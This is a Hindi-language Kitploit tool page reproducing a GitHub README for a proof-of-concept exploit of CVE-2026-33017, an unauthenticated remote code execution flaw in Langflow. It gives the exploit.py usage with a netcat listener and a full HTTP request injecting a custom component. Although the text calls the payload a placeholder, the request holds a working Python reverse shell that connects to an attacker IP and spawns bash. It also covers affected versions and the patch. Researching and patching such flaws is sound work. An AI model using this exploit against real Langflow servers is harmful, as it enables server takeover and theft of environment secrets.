Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33017 — CVE-2026-33017 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Langflow के build_public_tmp एंडपॉइंट में एक अनऑथेंटिकेटेड RCE है, जो रिवर्स शेल प्राप्त करने के लिए एक दुर्भावनापूर्ण कस्टम कंपोनेंट इंजेक्ट करता है। | Kitploit
उपकरण/GitHubGitHub/yym8538/cve-2026-33017
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंटAI सुरक्षा
GitHubyym8538/cve-2026-33017

CVE-2026-33017

CVE-2026-33017 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Langflow के build_public_tmp एंडपॉइंट में एक अनऑथेंटिकेटेड RCE है, जो रिवर्स शेल प्राप्त करने के लिए एक दुर्भावनापूर्ण कस्टम कंपोनेंट इंजेक्ट करता है।

11 महीना पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow रिमोट कोड एक्ज़ीक्यूशन PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


Environment Setup

कमजोर Langflow वातावरण को बनाने और चलाने के लिए निम्नलिखित कमांड का उपयोग करें:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

How to Use the PoC

कमजोर Langflow इंस्टेंस शुरू करने के बाद, लक्ष्य URL, Public flow ID, और हमलावर callback पते के साथ PoC चलाएँ।

विकल्प A — अपना स्वयं का listener उपयोग करें:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

विकल्प B — --listen के साथ अंतर्निहित listener का उपयोग करें:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
OptionDescription
--urlलक्ष्य Langflow सर्वर URL
--flow-idसाझा किए गए Public flow का UUID
--lhostहमलावर callback IP
--lportहमलावर callback पोर्ट
--listenबाहरी nc के बजाय अंतर्निहित listener चलाएँ

ENG

CVE-2026-33017 Langflow की Public flow build प्रक्रिया में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है, जो LLM अनुप्रयोगों और AI वर्कफ़्लो को दृश्य रूप से बनाने के लिए एक ओपन-सोर्स प्लेटफ़ॉर्म है।
build_public_tmp एंडपॉइंट पर बिना प्रमाणीकरण के तैयार किए गए flow डेटा भेजकर, एक हमलावर सर्वर पर मनमाना Python कोड निष्पादित करा सकता है।


Overview

CVE-2026-33017 Langflow में निम्नलिखित Public flow build एंडपॉइंट को प्रभावित करता है, जो LLM अनुप्रयोगों और AI वर्कफ़्लो को दृश्य रूप से बनाने के लिए एक ओपन-सोर्स प्लेटफ़ॉर्म है।

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow में एक Public flow को लिंक या समान तंत्र के माध्यम से अन्य उपयोगकर्ताओं के साथ साझा करने के लिए डिज़ाइन किया गया है।
इस सुविधा का समर्थन करने के लिए, build एंडपॉइंट flow के नोड्स, एज और सेटिंग्स को पढ़कर बिना प्रमाणीकरण के flow को निष्पादन के लिए तैयार करता है, और फिर इसे चलाने के लिए आवश्यक आंतरिक निष्पादन ग्राफ़ का निर्माण करता है।

समस्या यह थी कि build_public_tmp के कमजोर संस्करणों ने सर्वर पर संग्रहीत Public flow जानकारी के अलावा, अनुरोध बॉडी में आपूर्ति किए गए data फ़ील्ड को भी स्वीकार किया।

इस data फ़ील्ड में संपूर्ण flow परिभाषा शामिल हो सकती थी, जिसमें:

  • नोड्स की सूची
  • नोड्स के बीच कनेक्शन
  • प्रत्येक नोड के लिए विस्तृत कॉन्फ़िगरेशन मान
  • निष्पादन के लिए आवश्यक टेम्पलेट और कस्टम कंपोनेंट डेटा

परिणामस्वरूप, एक हमलावर सर्वर पर संग्रहीत वैध Public flow पर निर्भर रहने के बजाय, एक अप्रमाणित अनुरोध का उपयोग करके पूरी तरह से हमलावर-नियंत्रित flow संरचना को इंजेक्ट कर सकता था।

इस डिज़ाइन का एक विशेष रूप से खतरनाक हिस्सा Custom Component सुविधा है।
Langflow में, एक कंपोनेंट इनपुट हैंडलिंग, मॉडल इनवोकेशन, या आउटपुट जनरेशन जैसे कार्यों के लिए जिम्मेदार एक व्यक्तिगत कार्यात्मक ब्लॉक का प्रतिनिधित्व करता है। एक कस्टम कंपोनेंट एक विस्तारणीय ब्लॉक है जो उपयोगकर्ताओं को सीधे Python कोड में इसका व्यवहार परिभाषित करने की अनुमति देता है।

इसलिए एक हमलावर तैयार किए गए data ऑब्जेक्ट के अंदर दुर्भावनापूर्ण Python कोड वाला एक कस्टम कंपोनेंट एम्बेड कर सकता था, और सर्वर इसे flow के सामान्य हिस्से की तरह संसाधित करेगा। परिणामस्वरूप, इंजेक्ट किया गया कोड build या निष्पादन प्रक्रिया के दौरान पार्स और निष्पादित किया जा सकता था, जो अंततः रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।


Affected Versions

CategoryVersion
VulnerableLangflow 1.9.0 से पहले
PatchedLangflow 1.9.0 और बाद में

GitHub Security Advisory प्रभावित सीमा को <= 1.8.2 के रूप में सूचीबद्ध करता है, लेकिन फिक्स — data पैरामीटर को हटाना — 1.9.0 में आया। इसलिए 1.9.0 से पहले के सभी रिलीज़ (1.8.3 / 1.8.4 सहित) प्रभावित हैं, यही कारण है कि CVE Record < 1.9.0 बताता है।


Impact

इस कमजोरी का सफल शोषण एक हमलावर को Langflow सर्वर का नियंत्रण लेने और इसके बाद की कार्रवाइयाँ करने की अनुमति दे सकता है, जैसे:

  • सर्वर पर शेल प्राप्त करना
  • पर्यावरण चर या अन्य संवेदनशील जानकारी निकालना
  • अतिरिक्त दुर्भावनापूर्ण कोड स्थापित करना और दृढ़ता स्थापित करना

Proof of Concept

निम्नलिखित PoC Langflow 1.8.1 पर CVE-2026-33017 को प्रदर्शित करता है।

1) Public Flow ID की पहचान करें

हमलावर पहले लक्ष्य Public flow के flow_id की पहचान करता है।

Public Flow ID की पहचान करें

2) दुर्भावनापूर्ण Custom Component के साथ Build अनुरोध भेजें

हमलावर एक build_public_tmp अनुरोध भेजता है जो एक कस्टम कंपोनेंट इंजेक्ट करता है जिसका Python code अस्थायी build के दौरान सर्वर पर निष्पादित होता है। नीचे दिए गए अनुरोध में, code मान एक प्लेसहोल्डर के रूप में छोड़ा गया है — पेलोड स्वयं डालें (अनुरोध के नीचे दिया गया नोट देखें)।

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) शेल प्राप्त करें

Build प्रक्रिया के दौरान, कस्टम कंपोनेंट में एम्बेड किया गया कोड सर्वर पर निष्पादित होता है। जब रिवर्स शेल वेरिएंट (exploit.py द्वारा स्वचालित) का उपयोग किया जाता है, तो हमलावर के listener से वापस कनेक्शन स्थापित होता है, जिससे हमलावर को सर्वर पर मनमाने कमांड चलाने के लिए एक इंटरैक्टिव शेल मिलता है।

शेल प्राप्त करें


Technical Analysis

हालाँकि build_public_tmp का उद्देश्य Public flows को बनाना था, कमजोर संस्करणों ने अभी भी अनुरोध बॉडी से सीधे data फ़ील्ड स्वीकार किया।

इस डिज़ाइन के कारण, हमलावर द्वारा आपूर्ति किया गया data सीधे सर्वर-साइड build लॉजिक में पारित किया गया, और कस्टम कंपोनेंट में एम्बेड किया गया कोई भी Python कोड वैध flow के हिस्से के रूप में संभाला गया।

परिणामस्वरूप, एक हमलावर को सर्वर पर संग्रहीत मूल Public flow पर निर्भर रहने की आवश्यकता नहीं थी। इसके बजाय, वे अपनी पूरी तरह से दुर्भावनापूर्ण flow परिभाषा इंजेक्ट कर सकते थे, जिसमें सर्वर पर निष्पादित किया जा सकने वाला कोड भी शामिल था।

पैच के बाद, build_public_tmp अब बाहरी रूप से आपूर्ति किए गए data को स्वीकार नहीं करता है।
दूसरे शब्दों में, वह पथ जो पहले हमलावरों को अनुरोध बॉडी के माध्यम से संपूर्ण flow परिभाषा इंजेक्ट करने की अनुमति देता था, हटा दिया गया, जिसने दुर्भावनापूर्ण कस्टम कंपोनेंट के माध्यम से मनमाना कोड निष्पादन को भी रोक दिया।

टूल डाउनलोड करें